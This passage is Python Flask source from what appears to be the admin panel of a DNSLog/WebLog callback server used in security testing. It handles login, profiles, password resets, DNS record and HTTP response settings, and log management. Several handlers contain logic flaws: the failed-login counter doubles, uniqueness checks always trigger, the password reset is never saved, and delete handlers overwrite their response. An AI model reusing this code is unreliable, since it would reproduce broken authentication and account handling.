1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | import re 7 | from flask import request 8 | from flask import Response 9 | from flask import render_template 10 | from flask import redirect 11 | from flask import Blueprint 12 | from flask import session 13 | from flask import url_for 14 | from flask import make_response 15 | from sqlalchemy import or_ 16 | from lib.hander import db 17 | from lib.core.model import User 18 | from lib.util.util import get_time 19 | from lib.hander.basehander import save_sql 20 | from lib.core.enums import UserStatus 21 | from lib.hander.basehander import login_check 22 | from lib.util.util import random_string 23 | from werkzeug.security import generate_password_hash 24 | 25 | mod = Blueprint('index', __name__, url_prefix=f'{PREFIX_URL}/') 26 | 27 | 28 | @mod.route('/', methods=['POST', 'GET']) 29 | @login_check 30 | def index() -> Response: 31 | ctx = {} 32 | ctx['title'] = 'index' 33 | ctx['username'] = session.get('username') 34 | return redirect(url_for('index.dashboard')) 35 | 36 | 37 | @mod.route('/dashboard', methods=['POST', 'GET']) 38 | @login_check 39 | def dashboard() -> str: 40 | ctx = {} 41 | ctx['title'] = 'dashboard' 42 | ctx['username'] = session.get('username') 43 | return render_template('manager/dashboard.html', **ctx) 44 | 45 | 46 | @mod.route('/login', methods=['POST', 'GET']) 47 | def login(): 48 | ctx = {'title': 'Login', 'message': ''} 49 | 50 | if request.method == 'POST': 51 | username = request.values.get('username', '') 52 | password = request.values.get('password', '') 53 | if username != '' and password != '': 54 | user = db.session.query(User).filter(or_(User.username == username, User.email == username)).first() 55 | if user is not None: 56 | if user.verify_password(password): 57 | if user.to_json()['status'] != UserStatus.OK: 58 | ctx['message'] = 'Ban account!' 59 | else: 60 | # 刷新登陆时间以及登陆失败次数 61 | user.login_time = get_time() 62 | user.login_failed = 0 63 | save_sql(user) 64 | session['username'] = user.username 65 | session["user"] = user.generate_auth_token(expiration=3600) 66 | return redirect(url_for('index.dashboard')) 67 | 68 | user.failed_time = get_time() 69 | user.login_failed += user.login_failed 70 | save_sql(user) 71 | ctx['message'] = 'Incorrect username or password!' 72 | else: 73 | ctx['message'] = 'Miss username or password!' 74 | return render_template('login.html', **ctx) 75 | 76 | 77 | @mod.route('/logout', methods=['POST', 'GET']) 78 | def logout(): 79 | session.clear() 80 | return redirect(url_for('index.login')) 81 | 82 | 83 | @mod.route('/profile', methods=['POST', 'GET']) 84 | @login_check 85 | def profile(): 86 | ctx = {} 87 | user = db.session.query(User).filter(or_(User.username == session['username'])).first() 88 | ctx['title'] = 'Profile' 89 | if request.method == 'POST': 90 | username = request.values.get('username') 91 | email = request.values.get('email') 92 | description = request.values.get('description') 93 | if username != '': 94 | user_temp = db.session.query(User).filter(or_(User.username == username)).all() 95 | if user_temp != None: 96 | ctx['message'] = 'Exist Username!' 97 | user.username = username 98 | 99 | if email != '': 100 | if not re.match(r"^([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9\-.]+)$", email): 101 | ctx['message'] = 'Invaild Email!' 102 | user_temp = db.session.query(User).filter(or_(User.email == email)).all() 103 | if user_temp != None: 104 | ctx['message'] = 'Exist Email!' 105 | user.email = email 106 | 107 | if description != '': 108 | user.description = description 109 | user.update_time = get_time() 110 | save_sql(user) 111 | ctx['message'] = 'Success!' 112 | ctx['username'] = user.username 113 | ctx['email'] = user.email 114 | ctx['description'] = user.description 115 | else: 116 | ctx['username'] = user.username 117 | ctx['email'] = user.email 118 | ctx['description'] = user.description 119 | ctx['message'] = '' 120 | return render_template('manager/profile.html', **ctx) 121 | 122 | 123 | @mod.route('/reset', methods=['POST', 'GET']) 124 | @login_check 125 | def reset(): 126 | ctx = {} 127 | user = db.session.query(User).filter(or_(User.username == session['username'])).first() 128 | ctx['title'] = 'Reset' 129 | if request.method == 'POST': 130 | password = request.values.get('password') 131 | new_password = request.values.get('new_password') 132 | confirm_password = request.values.get('confirm_password') 133 | if password != '' and new_password != '' and confirm_password != '': 134 | if new_password == confirm_password: 135 | if user.verify_password(password): 136 | if re.match(r"^(?![0-9]+$)(?![a-z]+$)(?![A-Z]+$)(?!([^(0-9a-zA-Z)])+$).{6,20}$", new_password): 137 | user.password = generate_password_hash(new_password) 138 | user.update_time = get_time() 139 | ctx['message'] = 'Success!' 140 | else: 141 | ctx['message'] = 'Weakpass!' 142 | else: 143 | ctx['message'] = 'Incorrect password!' 144 | else: 145 | ctx['message'] = 'Incorrect new_password or confirm_password!' 146 | else: 147 | ctx['message'] = 'Miss password or new_password or confirm_password!' 148 | else: 149 | ctx['api_key'] = user.api_key 150 | ctx['message'] = '' 151 | return render_template('manager/reset.html', **ctx) 152 | 153 | @mod.route('/apikey', methods=['POST', 'GET']) 154 | @login_check 155 | def apikey(): 156 | user = db.session.query(User).filter(or_(User.username == session['username'])).first() 157 | if user: 158 | user.api_key = random_string(32) 159 | user.update_time = get_time() 160 | save_sql(user) 161 | return redirect(url_for('index.reset')) 162 | -------------------------------------------------------------------------------- /lib/hander/manager/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/log/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/log/dnsloghander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from lib.core.env import * 11 | from lib.hander import db 12 | from lib.core.model import DNSLog 13 | from lib.core.enums import ApiStatus 14 | from lib.util.util import get_time 15 | from lib.util.util import get_timestamp 16 | from lib.hander.basehander import fix_response 17 | from lib.hander.basehander import login_check 18 | 19 | mod = Blueprint('dnslog', __name__, url_prefix=f'{PREFIX_URL}/dnslog') 20 | 21 | @mod.route('/index', methods=['POST', 'GET']) 22 | @login_check 23 | def index(): 24 | ctx = {} 25 | ctx['title'] = 'DNSLog' 26 | ctx['username'] = session.get('username') 27 | return render_template('manager/log/dnslog.html', **ctx) 28 | 29 | @mod.route('/list', methods=['POST', 'GET']) 30 | @login_check 31 | @fix_response 32 | def list(): 33 | response = { 34 | 'data': { 35 | 'res': [], 36 | 'total': 0, 37 | } 38 | } 39 | page = request.json.get('page', 1) 40 | per_page = request.json.get('per_page', 10) 41 | domain = request.json.get('domain', '') 42 | ip = request.json.get('ip', '') 43 | dns_domain = request.json.get('dns_domain', '') 44 | dnslog_type = request.json.get('type', '') 45 | condition = (1 == 1) 46 | 47 | if domain != '': 48 | condition = and_(condition, DNSLog.domain.like('%' + domain + '%')) 49 | 50 | if ip != '': 51 | condition = and_(condition, DNSLog.ip.like('%' + ip + '%')) 52 | 53 | if dns_domain != '': 54 | condition = and_(condition, DNSLog.dns_domain.like('%' + dns_domain + '%')) 55 | 56 | if dnslog_type != '': 57 | condition = and_(condition, DNSLog.type.like('%' + dnslog_type + '%')) 58 | 59 | if per_page == 'all': 60 | for row in db.session.query(DNSLog).filter(condition).order_by(DNSLog.update_time.desc()).all(): 61 | response['data']['res'].append(row.to_json()) 62 | else: 63 | for row in db.session.query(DNSLog).filter(condition).order_by(DNSLog.update_time.desc()).paginate(page=page, per_page=per_page).items: 64 | response['data']['res'].append(row.to_json()) 65 | response['data']['total'] = db.session.query(DNSLog).filter(condition).count() 66 | return response 67 | 68 | 69 | @mod.route('/delete', methods=['POST', 'GET']) 70 | @login_check 71 | @fix_response 72 | def delete(): 73 | response = {'data': {'res': []}} 74 | dnslog_id = request.json.get('id', '') 75 | dnslog_ids = request.json.get('ids', '') 76 | if dnslog_id != '' or dnslog_ids != '': 77 | if dnslog_id != '': 78 | dnslog = db.session.query(DNSLog).filter(DNSLog.id == dnslog_id).first() 79 | if dnslog: 80 | db.session.delete(dnslog) 81 | db.session.commit() 82 | response['data']['res'].append(dnslog_id) 83 | elif dnslog_ids != '': 84 | try: 85 | for dnslog_id in dnslog_ids.split(','): 86 | dnslog_id = dnslog_id.replace(' ', '') 87 | dnslog = db.session.query(DNSLog).filter(DNSLog.id == dnslog_id).first() 88 | if dnslog: 89 | db.session.delete(dnslog) 90 | db.session.commit() 91 | response['data']['res'].append(dnslog_id) 92 | except: 93 | pass 94 | return response 95 | return ApiStatus.ERROR_IS_NOT_EXIST 96 | 97 | 98 | @mod.route('/clear_all', methods=['POST', 'GET']) 99 | @login_check 100 | @fix_response 101 | def clear_all(): 102 | response = {'data': {'res': []}} 103 | delete_time = get_time(get_timestamp()) 104 | condition = (1 == 1) 105 | condition = and_(condition, DNSLog.update_time <= delete_time) 106 | db.session.query(DNSLog).filter(condition).delete(synchronize_session=False) 107 | return response 108 | -------------------------------------------------------------------------------- /lib/hander/manager/log/webloghander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import json 6 | from flask import request 7 | from flask import render_template 8 | from flask import Blueprint 9 | from flask import session 10 | from sqlalchemy import and_ 11 | from lib.core.env import * 12 | from lib.hander import db 13 | from lib.core.model import WebLog 14 | from lib.core.enums import ApiStatus 15 | from lib.util.util import get_timestamp 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import fix_response 18 | from lib.hander.basehander import login_check 19 | 20 | mod = Blueprint('weblog', __name__, url_prefix=f'{PREFIX_URL}/weblog') 21 | 22 | 23 | @mod.route('/index', methods=['POST', 'GET']) 24 | @login_check 25 | def index(): 26 | ctx = {} 27 | ctx['title'] = 'WebLog' 28 | ctx['username'] = session.get('username') 29 | return render_template('manager/log/weblog.html', **ctx) 30 | 31 | @mod.route('/list', methods=['POST', 'GET']) 32 | @login_check 33 | @fix_response 34 | def list(): 35 | response = { 36 | 'data': { 37 | 'res': [], 38 | 'total': 0, 39 | } 40 | } 41 | page = request.json.get('page', 1) 42 | per_page = request.json.get('per_page', 10) 43 | url = request.json.get('url', '') 44 | request_headers = request.json.get('request_headers', '') 45 | request_content = request.json.get('request_content', '') 46 | method = request.json.get('method', '') 47 | response_status_code = request.json.get('status_code', '') 48 | condition = (1 == 1) 49 | 50 | if request_content != '': 51 | condition = and_(condition, WebLog.request_content.like(bytes('%' + request_content + '%', encoding="utf8"))) 52 | 53 | if url != '': 54 | condition = and_(condition, WebLog.url.like('%' + url + '%')) 55 | 56 | if method != '': 57 | condition = and_(condition, WebLog.method.like('%' + method + '%')) 58 | 59 | if response_status_code != '': 60 | condition = and_(condition, WebLog.response_status_code.like('%' + response_status_code + '%')) 61 | 62 | if request_headers != '': 63 | condition = and_(condition, WebLog.request_headers.like('%' + request_headers + '%')) 64 | 65 | if per_page == 'all': 66 | for row in db.session.query(WebLog).filter(condition).order_by(WebLog.update_time.desc()).all(): 67 | response['data']['res'].append(row.to_json()) 68 | else: 69 | for row in db.session.query(WebLog).filter(condition).order_by(WebLog.update_time.desc()).paginate(page=page, 70 | per_page=per_page).items: 71 | response['data']['res'].append(row.to_json()) 72 | response['data']['total'] = db.session.query(WebLog).filter(condition).count() 73 | 74 | return response 75 | 76 | 77 | @mod.route('/delete', methods=['POST', 'GET']) 78 | @login_check 79 | @fix_response 80 | def delete(): 81 | response = {'data': {'res': []}} 82 | weblog_id = request.json.get('id', '') 83 | weblog_ids = request.json.get('ids', '') 84 | if weblog_id != '' or weblog_ids != '': 85 | if weblog_id != '': 86 | weblog = db.session.query(WebLog).filter(WebLog.id == weblog_id).first() 87 | if weblog: 88 | db.session.delete(weblog) 89 | db.session.commit() 90 | response['data']['res'].append(weblog_id) 91 | if weblog_ids != '': 92 | try: 93 | for weblog_id in weblog_ids.split(','): 94 | weblog_id = weblog_id.replace(' ', '') 95 | weblog = db.session.query(WebLog).filter(WebLog.id == weblog_id).first() 96 | if weblog: 97 | db.session.delete(weblog) 98 | db.session.commit() 99 | response['data']['res'].append(weblog_id) 100 | except: 101 | pass 102 | return response 103 | return ApiStatus.ERROR_IS_NOT_EXIST 104 | 105 | 106 | @mod.route('/detail', methods=['POST', 'GET']) 107 | @login_check 108 | @fix_response 109 | def detail(): 110 | response = {'data': {'res': []}} 111 | weblog_id = request.json.get('id', '') 112 | if weblog_id != '': 113 | weblog = db.session.query(WebLog).filter(WebLog.id == weblog_id).first() 114 | if weblog: 115 | weblog_dic = {} 116 | request_headers = json.loads(weblog.request_headers) 117 | response_headers = json.loads(weblog.response_headers) 118 | url_temp = weblog.url[weblog.url.replace('://', '___').index('/'):] 119 | weblog_dic['url'] = weblog.url 120 | weblog_dic['request'] = weblog.method + ' ' + url_temp + ' ' + weblog.request_http_version + '\r\n' 121 | weblog_dic['request'] += '\r\n'.join([key + ': ' + value for key, value in request_headers.items()]) 122 | weblog_dic['request'] += '\r\n\r\n' 123 | weblog_dic['request'] += bytes.decode(weblog.request_content) 124 | 125 | weblog_dic['response'] = 'HTTP/1.0 ' + str(weblog.response_status_code) + ' ' + weblog.response_reason + '\r\n' 126 | weblog_dic['response'] += '\r\n'.join([key + ': ' + value for key, value in response_headers.items()]) 127 | weblog_dic['response'] += '\r\n\r\n' 128 | weblog_dic['response'] += bytes.decode(weblog.response_content) 129 | response['data']['res'].append(weblog_dic) 130 | return response 131 | return ApiStatus.ERROR_IS_NOT_EXIST 132 | 133 | 134 | @mod.route('/clear_all', methods=['POST', 'GET']) 135 | @login_check 136 | @fix_response 137 | def clear_all(): 138 | response = {'data': {'res': []}} 139 | delete_time = get_time(get_timestamp()) 140 | condition = (1 == 1) 141 | condition = and_(condition, WebLog.update_time <= delete_time) 142 | db.session.query(WebLog).filter(condition).delete(synchronize_session=False) 143 | return response 144 | 145 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/dnshander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from lib.core.env import * 11 | from lib.hander import db 12 | from lib.core.model import DNSSetting 13 | from lib.core.enums import ApiStatus 14 | from lib.core.enums import DNSRedirect 15 | from lib.core.enums import ValueType 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import save_sql 18 | from lib.hander.basehander import fix_response 19 | from lib.hander.basehander import login_check 20 | 21 | mod = Blueprint('dns', __name__, url_prefix=f'{PREFIX_URL}/dns') 22 | 23 | @mod.route('/index', methods=['POST', 'GET']) 24 | @login_check 25 | def index(): 26 | ctx = {} 27 | ctx['title'] = 'DNS' 28 | ctx['username'] = session.get('username') 29 | ctx['DNS_REDIRECT'] = DNSRedirect 30 | ctx['VALUE_TYPE'] = ValueType 31 | return render_template('manager/setting/dns.html', **ctx) 32 | 33 | @mod.route('/list', methods=['POST', 'GET']) 34 | @login_check 35 | @fix_response 36 | def list(): 37 | response = { 38 | 'data': { 39 | 'res': [], 40 | 'total': 0, 41 | } 42 | } 43 | page = request.json.get('page', 1) 44 | per_page = request.json.get('per_page', 10) 45 | name = request.json.get('name', '') 46 | domain = request.json.get('domain', '') 47 | value1 = request.json.get('value1', '') 48 | value2 = request.json.get('value2', '') 49 | value_type = request.json.get('value_type', '') 50 | dns_redirect = request.json.get('dns_redirect', '') 51 | 52 | condition = (1 == 1) 53 | if name != '': 54 | condition = and_(condition, DNSSetting.name.like('%' + name + '%')) 55 | 56 | if domain != '': 57 | condition = and_(condition, DNSSetting.domain.like('%' + domain + '%')) 58 | 59 | if value1 != '': 60 | condition = and_(condition, DNSSetting.value1.like('%' + value1 + '%')) 61 | 62 | if value2 != '': 63 | condition = and_(condition, DNSSetting.value2.like('%' + value2 + '%')) 64 | 65 | if value_type != '': 66 | condition = and_(condition, DNSSetting.value_type.like('%' + value_type + '%')) 67 | 68 | if dns_redirect != '' and isinstance(dns_redirect, bool): 69 | condition = and_(condition, DNSSetting.dns_redirect == dns_redirect) 70 | 71 | if per_page == 'all': 72 | for row in db.session.query(DNSSetting).filter(condition).order_by(DNSSetting.update_time.desc()).all(): 73 | response['data']['res'].append(row.to_json()) 74 | else: 75 | for row in db.session.query(DNSSetting).filter(condition).order_by(DNSSetting.update_time.desc()).paginate(page=page, per_page=per_page).items: 76 | response['data']['res'].append(row.to_json()) 77 | response['data']['total'] = db.session.query(DNSSetting).filter(condition).count() 78 | return response 79 | 80 | 81 | @mod.route('/edit', methods=['POST', 'GET']) 82 | @login_check 83 | @fix_response 84 | def edit(): 85 | dns_id = request.json.get('id', '') 86 | name = request.json.get('name', '') 87 | domain = request.json.get('domain', '') 88 | value1 = request.json.get('value1', '') 89 | value2 = request.json.get('value2', '') 90 | dns_redirect = request.json.get('dns_redirect', '') 91 | mark = request.json.get('mark', '') 92 | value_type = request.json.get('value_type', '') 93 | 94 | if dns_redirect != '' and isinstance(dns_redirect, bool) and dns_redirect and value2 == "": 95 | return ApiStatus.ERROR_INVALID_INPUT 96 | 97 | if dns_id != '': 98 | dns_id = int(dns_id) 99 | dns_setting = db.session.query(DNSSetting).filter(DNSSetting.id == dns_id).first() 100 | if dns_setting: 101 | dns_setting.mark = mark 102 | dns_setting.domain = domain 103 | dns_setting.value_type = value_type 104 | dns_setting.value1 = value1 105 | dns_setting.value2 = value2 106 | dns_setting.dns_redirect = dns_redirect 107 | dns_setting.name = name 108 | dns_setting.update_time = get_time() 109 | save_sql(dns_setting) 110 | return {'data': {'res': [dns_id]}} 111 | return ApiStatus.ERROR_IS_NOT_EXIST 112 | 113 | 114 | @mod.route('/add', methods=['POST', 'GET']) 115 | @login_check 116 | @fix_response 117 | def add(): 118 | name = request.json.get('name', '') 119 | domain = request.json.get('domain', '') 120 | value1 = request.json.get('value1', '') 121 | value2 = request.json.get('value2', '') 122 | value_type = request.json.get('value_type', '') 123 | dns_redirect = request.json.get('dns_redirect', False) 124 | mark = request.json.get('mark', '') 125 | 126 | if name == '': 127 | return ApiStatus.ERROR_INVALID_INPUT 128 | 129 | if value1 == '': 130 | return ApiStatus.ERROR_INVALID_INPUT 131 | 132 | if value_type == '': 133 | return ApiStatus.ERROR_INVALID_INPUT 134 | 135 | if domain == '': 136 | return ApiStatus.ERROR_INVALID_INPUT 137 | 138 | if isinstance(dns_redirect, bool) and dns_redirect and value2 == "": 139 | return ApiStatus.ERROR_INVALID_INPUT 140 | 141 | update_time = get_time() 142 | 143 | dns_setting = DNSSetting(name=name, domain=domain, value1=value1, mark=mark, value2=value2, dns_redirect=dns_redirect, 144 | update_time=update_time, value_type=value_type) 145 | save_sql(dns_setting) 146 | return {'data': {'res': [name]}} 147 | 148 | @mod.route('/delete', methods=['POST', 'GET']) 149 | @login_check 150 | @fix_response 151 | def delete(): 152 | response = {'data': {'res': []}} 153 | dns_id = request.json.get('id', '') 154 | dns_ids = request.json.get('ids', '') 155 | if dns_id != '' or dns_ids != '': 156 | if dns_id != '': 157 | response = db.session.query(DNSSetting).filter(DNSSetting.id == dns_id).first() 158 | if response: 159 | db.session.delete(response) 160 | db.session.commit() 161 | response['data']['res'].append(dns_id) 162 | elif dns_ids != '': 163 | try: 164 | for dns_id in dns_ids.split(','): 165 | dns_id = dns_id.replace(' ', '') 166 | response = db.session.query(DNSSetting).filter(DNSSetting.id == dns_id).first() 167 | if response: 168 | db.session.delete(response) 169 | db.session.commit() 170 | response['data']['res'].append(dns_id) 171 | except: 172 | pass 173 | return response 174 | return ApiStatus.ERROR_IS_NOT_EXIST 175 | -------------------------------------------------------------------------------- /lib/hander/manager/setting/responsehander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import json 6 | from flask import request 7 | from flask import render_template 8 | from flask import Blueprint 9 | from flask import session 10 | from sqlalchemy import and_ 11 | from lib.core.env import * 12 | from lib.hander import db 13 | from lib.core.model import ResponseSetting 14 | from lib.core.enums import ValueType 15 | from lib.core.enums import ApiStatus 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import save_sql 18 | from lib.hander.basehander import fix_response 19 | from lib.hander.basehander import login_check 20 | 21 | mod = Blueprint('response', __name__, url_prefix=f'{PREFIX_URL}/response') 22 | 23 | @mod.route('/index', methods=['POST', 'GET']) 24 | @login_check 25 | def index(): 26 | ctx = {} 27 | ctx['title'] = 'Response' 28 | ctx['username'] = session.get('username') 29 | ctx['VALUE_TYPE'] = ValueType 30 | return render_template('manager/setting/response.html', **ctx) 31 | 32 | @mod.route('/list', methods=['POST', 'GET']) 33 | @login_check 34 | @fix_response 35 | def list(): 36 | response = { 37 | 'data': { 38 | 'res': [], 39 | 'total': 0, 40 | } 41 | } 42 | page = request.json.get('page', 1) 43 | per_page = request.json.get('per_page', 10) 44 | name = request.json.get('name', '') 45 | path = request.json.get('path', '') 46 | value_type = request.json.get('value_type', '') 47 | response_status_code = request.json.get('response_status_code', '') 48 | response_headers = request.json.get('response_headers', '') 49 | response_content = request.json.get('response_content', '') 50 | response_content_type = request.json.get('response_content_type', '') 51 | 52 | condition = (1 == 1) 53 | if name != '': 54 | condition = and_(condition, ResponseSetting.name.like('%' + name + '%')) 55 | 56 | if response_content_type != '': 57 | condition = and_(condition, ResponseSetting.response_content_type.like('%' + response_content_type + '%')) 58 | 59 | if path != '': 60 | condition = and_(condition, ResponseSetting.path.like('%' + path + '%')) 61 | 62 | if response_status_code != '': 63 | condition = and_(condition, ResponseSetting.response_status_code == response_status_code) 64 | 65 | if response_headers != '': 66 | condition = and_(condition, ResponseSetting.response_headers.like('%' + response_headers + '%')) 67 | 68 | if response_content != '': 69 | condition = and_(condition, ResponseSetting.request_content.like(bytes('%' + response_content + '%', encoding="utf8"))) 70 | 71 | if value_type != '': 72 | condition = and_(condition, ResponseSetting.value_type.like('%' + value_type + '%')) 73 | 74 | if per_page == 'all': 75 | for row in db.session.query(ResponseSetting).filter(condition).order_by(ResponseSetting.update_time.desc()).all(): 76 | response['data']['res'].append(row.to_json()) 77 | else: 78 | for row in db.session.query(ResponseSetting).filter(condition).order_by(ResponseSetting.update_time.desc()).paginate(page=page, per_page=per_page).items: 79 | response['data']['res'].append(row.to_json()) 80 | response['data']['total'] = db.session.query(ResponseSetting).filter(condition).count() 81 | return response 82 | 83 | 84 | @mod.route('/edit', methods=['POST', 'GET']) 85 | @login_check 86 | @fix_response 87 | def edit(): 88 | response_id = request.json.get('id', '') 89 | name = request.json.get('name', '') 90 | path = request.json.get('path', '') 91 | response_status_code = request.json.get('response_status_code', '') 92 | response_headers = request.json.get('response_headers', '') 93 | response_content = request.json.get('response_content', '') 94 | response_content_type = request.json.get('response_content_type', '') 95 | response_reason = request.json.get('response_reason', '') 96 | mark = request.json.get('mark', '') 97 | value_type = request.json.get('value_type', '') 98 | 99 | if response_id != '': 100 | response_id = int(response_id) 101 | response_setting = db.session.query(ResponseSetting).filter(ResponseSetting.id == response_id).first() 102 | if response_setting: 103 | response_setting.mark = mark 104 | try: 105 | response_headers = json.loads(response_headers) 106 | response_headers = json.dumps(response_headers) 107 | except: 108 | return ApiStatus.ERROR_INVALID_INPUT 109 | response_setting.response_headers = response_headers 110 | 111 | response_setting.value_type = value_type 112 | response_setting.response_status_code = int(response_status_code) 113 | response_setting.response_reason = response_reason 114 | response_setting.response_content = bytes(response_content, 'utf-8') 115 | response_setting.response_content_type = response_content_type 116 | response_setting.path = path 117 | response_setting.name = name 118 | response_setting.update_time = get_time() 119 | save_sql(response_setting) 120 | return {'data': {'res': [response_id]}} 121 | return ApiStatus.ERROR_IS_NOT_EXIST 122 | 123 | 124 | @mod.route('/add', methods=['POST', 'GET']) 125 | @login_check 126 | @fix_response 127 | def add(): 128 | name = request.json.get('name', '') 129 | path = request.json.get('path', '') 130 | response_status_code = request.json.get('response_status_code', 200) 131 | response_headers = request.json.get('response_headers', '{}') 132 | response_content = request.json.get('response_content', '') 133 | response_content_type = request.json.get('response_content_type', 'text/plain;charset=UTF-8') 134 | response_reason = request.json.get('response_reason', 'OK') 135 | mark = request.json.get('mark', '') 136 | value_type = request.json.get('value_type', '') 137 | 138 | if name == '': 139 | return ApiStatus.ERROR_INVALID_INPUT 140 | 141 | if value_type == '': 142 | return ApiStatus.ERROR_INVALID_INPUT 143 | 144 | if response_headers != '': 145 | try: 146 | response_headers = json.loads(response_headers) 147 | response_headers = json.dumps(response_headers) 148 | except: 149 | return ApiStatus.ERROR_INVALID_INPUT 150 | 151 | 152 | response_status_code = int(response_status_code) 153 | response_content = bytes(response_content, 'utf-8') 154 | 155 | update_time = get_time() 156 | 157 | response_setting = ResponseSetting(name=name, path=path, response_status_code=response_status_code, mark=mark, 158 | response_content=response_content, response_headers=response_headers, 159 | response_reason=response_reason, response_content_type=response_content_type, 160 | update_time=update_time, value_type=value_type) 161 | save_sql(response_setting) 162 | return {'data': {'res': [name]}} 163 | 164 | @mod.route('/delete', methods=['POST', 'GET']) 165 | @login_check 166 | @fix_response 167 | def delete(): 168 | response = {'data': {'res': []}} 169 | response_id = request.json.get('id', '') 170 | response_ids = request.json.get('ids', '') 171 | if response_id != '' or response_ids != '': 172 | if response_id != '': 173 | response = db.session.query(ResponseSetting).filter(ResponseSetting.id == response_id).first() 174 | if response: 175 | db.session.delete(response) 176 | db.session.commit() 177 | response['data']['res'].append(response_id) 178 | elif response_ids != '': 179 | try: 180 | for response_id in response_ids.split(','): 181 | response_id = response_id.replace(' ', '') 182 | response = db.session.query(ResponseSetting).filter(ResponseSetting.id == response_id).first() 183 | if response: 184 | db.session.delete(response) 185 | db.session.commit() 186 | response['data']['res'].append(response_id) 187 | except: 188 | pass 189 | return response 190 | return ApiStatus.ERROR_IS_NOT_EXIST 191 | -------------------------------------------------------------------------------- /lib/hander/manager/system/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | -------------------------------------------------------------------------------- /lib/hander/manager/system/loghander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from flask import request 6 | from flask import render_template 7 | from flask import Blueprint 8 | from flask import session 9 | from sqlalchemy import and_ 10 | from sqlalchemy import or_ 11 | from lib.core.env import * 12 | from lib.core.model import Log 13 | from lib.core.model import User 14 | from lib.hander import db 15 | from lib.util.util import get_timestamp 16 | from lib.util.util import get_time 17 | from lib.hander.basehander import save_sql 18 | from lib.core.enums import ApiStatus 19 | from lib.core.enums import LogStatus 20 | from lib.core.enums import WebLogType 21 | from lib.hander.basehander import fix_response 22 | from lib.hander.basehander import login_check 23 | 24 | mod = Blueprint('log', __name__, url_prefix=f'{PREFIX_URL}/log') 25 | 26 | @mod.route('/index', methods=['POST', 'GET']) 27 | @login_check 28 | def index(): 29 | ctx = {} 30 | ctx['title'] = 'Log' 31 | ctx['username'] = session.get('username') 32 | ctx['log_type'] = WebLogType 33 | return render_template('manager/system/log.html', **ctx) 34 | 35 | 36 | @mod.route('/list', methods=['POST', 'GET']) 37 | @login_check 38 | @fix_response 39 | def list(): 40 | response = { 41 | 'data': { 42 | 'res': [], 43 | 'total': 0, 44 | } 45 | } 46 | page = request.json.get('page', 1) 47 | per_page = request.json.get('per_page', 10) 48 | update_time = request.json.get('update_time', '') 49 | url = request.json.get('url', '') 50 | ip = request.json.get('ip', '') 51 | user = request.json.get('user', '') 52 | condition = (Log.status == LogStatus.OK) 53 | if update_time != '': 54 | condition = and_(condition, Log.update_time.like('%' + update_time + '%')) 55 | 56 | if url != '': 57 | condition = and_(condition, Log.url.like('%' + url + '%')) 58 | 59 | if user != '': 60 | users = db.session.query(User).filter(User.username.like('%' + user + '%')).all() 61 | condition_user = (1 == 2) 62 | for user in users: 63 | condition_user = or_(condition_user, Log.user_id == user.id) 64 | condition = and_(condition, condition_user) 65 | 66 | if ip != '': 67 | condition = and_(condition, Log.body.like('%' + ip + '%')) 68 | 69 | if per_page == 'all': 70 | for row in db.session.query(Log).filter(condition).all(): 71 | response['data']['res'].append(row.to_json()) 72 | else: 73 | for row in db.session.query(Log).filter(condition).order_by(Log.update_time.desc()).paginate(page=page, per_page=per_page).items: 74 | response['data']['res'].append(row.to_json()) 75 | response['data']['total'] = db.session.query(Log).filter(condition).count() 76 | return response 77 | 78 | @mod.route('/clear_all', methods=['POST', 'GET']) 79 | @login_check 80 | @fix_response 81 | def clear_all(): 82 | response = {'data': {'res': []}} 83 | delete_time = get_time(get_timestamp()) 84 | condition = (1 == 1) 85 | condition = and_(condition, Log.update_time <= delete_time) 86 | db.session.query(Log).filter(condition).delete(synchronize_session=False) 87 | return response 88 | 89 | @mod.route('/delete', methods=['POST', 'GET']) 90 | @login_check 91 | @fix_response 92 | def delete(): 93 | response = {'data': {'res': []}} 94 | log_id = request.json.get('id', '') 95 | log_ids = request.json.get('ids', '') 96 | if log_id != '' or log_ids != '': 97 | if log_id != '': 98 | log_id = int(log_id) 99 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False) 100 | return response 101 | if log_ids != '': 102 | try: 103 | for log_id in log_ids.split(','): 104 | log_id = int(log_id.replace(' ', '')) 105 | db.session.query(Log).filter(Log.id == log_id).delete(synchronize_session=False) 106 | except: 107 | pass 108 | return response 109 | return ApiStatus.ERROR_IS_NOT_EXIST -------------------------------------------------------------------------------- /lib/hander/manager/system/userhander.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import re 6 | from flask import request 7 | from flask import 